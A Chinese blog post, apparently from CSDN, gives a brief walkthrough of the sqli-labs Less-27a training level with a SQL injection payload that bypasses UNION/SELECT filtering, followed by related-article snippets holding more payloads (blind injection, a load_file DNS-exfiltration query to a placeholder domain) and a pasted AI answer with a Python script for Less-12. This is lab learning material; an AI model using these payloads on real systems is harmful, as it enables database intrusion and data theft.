sqli-labs ————less -27a（union、SELECT、绕过滤）

最新推荐文章于 2025-08-04 21:03:04 发布
原创 最新推荐文章于 2025-08-04 21:03:04 发布 · 839 阅读 · 0 ·
CC 4.0 BY-SA版权
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。

本文介绍Less-27a关卡中SQL注入的技巧，重点讲解如何利用特殊字符绕过过滤并构造payload实现用户信息的获取。读者可以通过实践加深理解。

Less-27a

本关与第27关的去呗在于对于ID的处理，这里使用了“ ””，同时mysql的错误提示被屏蔽，所以报错注入无法进行。对于过滤的绕过技巧在上一节中已经讲过了，这里不再多说了。下面给出一个payload：

http://192.168.11.136/sqli-labs/Less-27a?id=-1"%a0UnIon%a0SElecT%a01,user(),"3
读者有兴趣可以自己测试哈！


sqli-labs注入——sqli-labs的1-65关闯关指南
qq_51366383的博客
01-27 2294
sqli-labs图片上一共有75关，但是下载的资料都只有65关，所以只写了65关，本文仅是个人想法，如有不对请多谅解。 前面三部分的数据为：security 1、Emails Id ,email_id 2、referers 3、Uagents id,uagent,ip_address,username 4、Users id,username,password password：Dumb,I-kill-you,p@ssword,crappy,stupidity,genious,mob!le,admin,
sqli-labs通关笔记
m0_67795959的博客
10-23 1218
id=1' and (select load_file(concat("//",(select table_name from information_schema.tables where table_schema = database() limit 3,1),".域名/123.txt")))--+要写为rand(0) 或者rand(4)：rand()函数的执行速度要比 group by查询并插入key值的速度更快，只有rand(0)这个顺序可以导致在插入第三个数据，rand执行第五次时导致键值冲突。
sqli-labs:less-27a(过滤了union和select）
羽的博客
09-15 187
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; char...
Sqli-labs之Less-27和Less-27a
→_→
04-26 2493
Less-27 基于错误_GET_过滤UNION/SELECT_单引号_字符型注入 测试注入字符类型： ?id=2'%26%26 '1'='1 （id=2的用户说明不带括号，id=1的用户说明带括号） 由此得出，这是单引号字符型注入。（不带小括号的） 根据提示...
SQL注入分析-Less-27a
qq_33505576的博客
02-19 416
SQL注入分析-Less-27a 1、 概述：此关的名称GET-Blind Based-All your UNION & SELECT Belong to us-Double Quotes，中文名称是基于GET型的盲注—构造你自己的union和select—双引号注入，从题目名称来看，推测这关是盲注，无法通过报错信息来获取所需要的数据，只能通过盲注的方式，这里我想的是通过布尔盲注的方式来获取信息，同时要通过技巧绕过UNION和SELECT查询语句，而且拼接过程中需要使用双引号进行闭合。 2、根据猜想
sqli-labs less-27a
wanggonghanfei的博客
10-20 914
sqli-labs less-27a union/select大小写绕过
sqli-labs第27关，27a关
weixin_46023655的博客
07-30 963
sqli-labs第27、27a关
sqli-lab——Writeup21~38（各种过滤绕过WAF和）
weixin_45694388的博客
12-12 775
Less-21 Cookie Injection- Error Based- complex - string ( 基于错误的复杂的字符型Cookie注入) base64编码，单引号，报错型，cookie型注入。 本关和less-20相似，只是cookie的uname值经过base64编码了。 登录后页面： mV0L3dlaXhpbl80NTY5NDM4OA==,size_16,color_FFFFFF,t_70) cookie的地方显然是base64加密过的，解码得到：admin，就是刚才登陆的unam
sqli-labs 21——40关攻略
weixin_45880717的博客
02-02 1226
Less-21 基于错误的复杂的字符型Cookie注入 base64编码，单引号，报错型，cookie型注入。 本关和less-20相似，只是cookie的uname值经过base64编码了。 登录后页面： 圈出来的地方显然是base64加密过的，解码得到：admin，就是刚才登陆的uname，所以猜测：本题在cookie处加密了字符串， 查看php文件确实如此，所以只需要上传paylaod的时...
SQLMAP脚本-sql-labs-Less-26-27a
m0_69844818的博客
09-19 2071
sqlmap脚本跑sqli-labs
sqlilabs-27a
KAKA的博客
07-14 467
又是盲注，只需要把 26a 关卡 payload 改改就可以用了，这一关把报错信息给过滤了，所以报错注入用不了： –查表 http://sqlilabs/Less-27a/?id=1"and(if(ascii(substr((SeLect(table_name)from(SeLect(table_name),(table_rows)from(information_schema.tables)where(table_schema=database())and(table_rows=14))a),1,1))
【sqli-labs】 less27a GET- Blind based -All you Union&Select Belong to us -Double Quotes(GET型基于盲注的去除了U...
ajxi63204的博客
01-28 169
和less 27一样，单引号换双引号 http://192.168.136.128/sqli-labs-master/Less-27a/?id=0"%a0uNion%a0sElect%a01,2,"3 转载于:https://www.cnblogs.com/omnis/p/8371857.html
sqli-labs(27a)
weixin_30438813的博客
05-28 277
0X01测试闭合 ?id=1" 报错 ?id=1"" 正常 0X02构造语句爆数据库名称 ?id=99"%0AUNIon%0ASELECt%0A1,database(),3||"1"="1 和27关一样 只是 ’ 变成了 ” 其他语法就是打组合拳 0X03组合拳 27关见 PS 学习之路 少就是多 慢就是快 转载于:https://...
sqli-labs/Less-27a
m0_71299382的博客
11-20 252
sqli-labs第二十七a关
sqli-labs：Less-27a关卡详细解析
最新发布
qq_62000508的博客
08-04 475
Sqli-labs第27a关通过字符串型注入绕过过滤机制，使用双引号闭合参数。关键步骤包括：用%09替换空格、大小写混合绕过select/union过滤；通过联合查询获取数据库名、表名、字段信息；最后导出用户数据。虽然该关卡对特殊字符和关键词进行了过滤，但通过简单的字符替换和URL编码仍可成功注入。文章提供了详细的注入语句示例和参数汇总表，并建议参考相关基础注入关卡进行学习。
Sqli-labs less 27
weixin_34345753的博客
08-11 217
Less-27 本关主要考察将union，select和26关过滤掉的字符。此处我们依旧和26关的方式是一样的，只需要将union和select改为大小写混合就可以突破。 示例：127.0.0.1/sqllib/Less-27/?id=100'unIon%a0SelEcT%a01,database(),3||'1 TIPS：uniunionon也是可以突破限制的。亦可以利用报错注入和延时注入...
Sqli-labs less 27a
weixin_33726313的博客
08-11 138
Less-27a 本关与27关的区别在于对于id的处理，这里用的是 " ，同时mysql的错误不会在前端页面显示。 我们根据27关直接给出一个示例payload： http://127.0.0.1/sqllib/Less-27a/?id=100"%a0UnIon%a0SElecT%a01,user(),"3 TIPs:这里说下以上payload我们利用最后的3前面的 " 将后面的 " 给闭...
sqli-labs ————less -27（union、SELECT、绕过滤）
Fly_鹏程万里
05-19 2127
Less-27从提示界面中我们可以看出这一小节对union、select进行了绕过，那么我们下面来看看源代码吧：SQL语句：$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";过滤机制：function blacklist($id) { $id= preg_replace('/[\/\*]/',"", $id); //strip out /* ...
sqli-labs第十二关怎么过
05-01
<think>嗯，用户现在在问SQLi-Labs第十二关的解法或提示。首先，我需要回忆一下第十二关的特点。根据之前的经验，SQLi-Labs的每个关卡通常涉及不同类型的SQL注入，比如GET或POST请求，不同的参数处理方式，或者特定的过滤和防护措施。用户之前可能已经完成了前面的关卡，所以第十二关可能比之前的更难，或者引入了新的挑战。 根据用户提供的引用内容，之前的关卡如第四关、第七关涉及到联合查询注入和文件导出操作，比如使用`union select`结合`group_concat`获取表名，或者`into outfile`导出数据。第七关还提到了文件操作的函数需要配置`secure_file_priv`。这些引用可能提示第十二关可能涉及类似的注入技术，但可能有不同的参数处理方式，比如POST请求或不同的注入点类型。 首先，我需要确认第十二关的具体设置。通常，第十二关可能是一个POST类型的注入，比如基于报错的注入或者盲注。例如，可能是一个登录表单，用户需要利用注入绕过认证或提取数据。根据用户提供的引用，第七关使用了文件导出，而第四关是联合查询，但第十二关可能有所不同。 然后，用户提供的引用中有关于爆库名、表名的技术，如使用`extractvalue`函数进行报错注入，这可能在第十二关中适用。比如，如果注入点存在报错回显，可以利用报错注入来获取信息。此外，联合查询注入需要确定列数，可能需要通过`order by`来测试。 另外，引用中提到了`into outfile`的使用，但第十二关可能涉及到字符转义或闭合问题。例如，输入参数可能被包裹在特定的符号中，如双引号和括号，导致需要正确闭合才能执行注入。例如，如果参数处理是`"$id"`，那么注入时需要闭合双引号，并处理可能的括号。 接下来，考虑用户可能需要具体的步骤。比如，确定注入点类型（字符型还是数字型）、测试闭合方式、使用联合查询或报错注入。例如，如果输入被包裹在双引号和括号中，如`("$id")`，那么注入可能需要类似`")`来闭合，然后添加恶意代码。 同时，用户可能遇到的障碍包括如何正确闭合引号和括号，如何绕过过滤，或者如何确定可用的列数。例如，使用`") order by 3--+`来测试列数，然后进行联合查询，或者使用报错函数如`updatexml`或`extractvalue`来提取数据。 另外，需要注意是否有过滤函数，比如对`union select`或空格的处理，可能需要使用注释符或内联注释绕过。例如，使用`/**/`代替空格，或者使用`%a0`作为空格的替代。 根据引用[3]中的例子，报错注入使用了`extractvalue`函数，这可能适用于第十二关。例如，构造如`" or extractvalue(1, concat(0x7e, (select database()))) --+`这样的注入语句，触发数据库错误并返回信息。 最后，用户可能需要导出文件，但需要确认`secure_file_priv`的设置是否允许写入，如引用[4]所述。但在第十二关中，可能不需要文件导出，而是侧重于通过注入获取数据。 总结可能的步骤：1. 确定注入点类型和闭合方式；2. 测试列数；3. 使用联合查询或报错注入获取信息；4. 提取数据库名、表名、列名和数据。</think>根据SQLi-Labs第十二关的POST型注入特点和常见解法，以下是分步解析： ### 第十二关解题思路 #### 1. 确定注入类型 本关为**POST请求**，参数使用双引号+括号包裹：`("$id")`。测试闭合方式时需使用`")`闭合原始语句[^4]。 #### 2. 构造闭合语句 尝试在用户名或密码输入框中注入： ```sql admin") or 1=1 --+ ``` 若成功绕过登录，说明闭合正确。 #### 3. 联合查询注入 **(1) 确定列数** ```sql admin") order by 3 --+ ``` 当`order by 4`报错时，说明共3列。 **(2) 获取回显位** ```sql admin") union select 1,2,3 --+ ``` 观察页面显示数字2和3的位置用于回显。 **(3) 提取数据库信息** ```sql admin") union select 1,database(),version() --+ ``` 回显当前数据库名和版本[^1]。 #### 4. 报错注入（备用方案） 若联合查询被过滤，使用`updatexml()`： ```sql admin") and updatexml(1,concat(0x7e,(select user())),1) --+ ``` 通过报错信息获取当前用户[^3]。 ```python # 示例请求代码（Python requests） import requests url = "http://localhost/sqli-labs/Less-12/" data = {"uname": 'admin") union select 1,@@version,3 --+', "passwd": "test"} response = requests.post(url, data=data) print(response.text) ```
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
表情包 代码片
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

FLy_鹏程万里

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值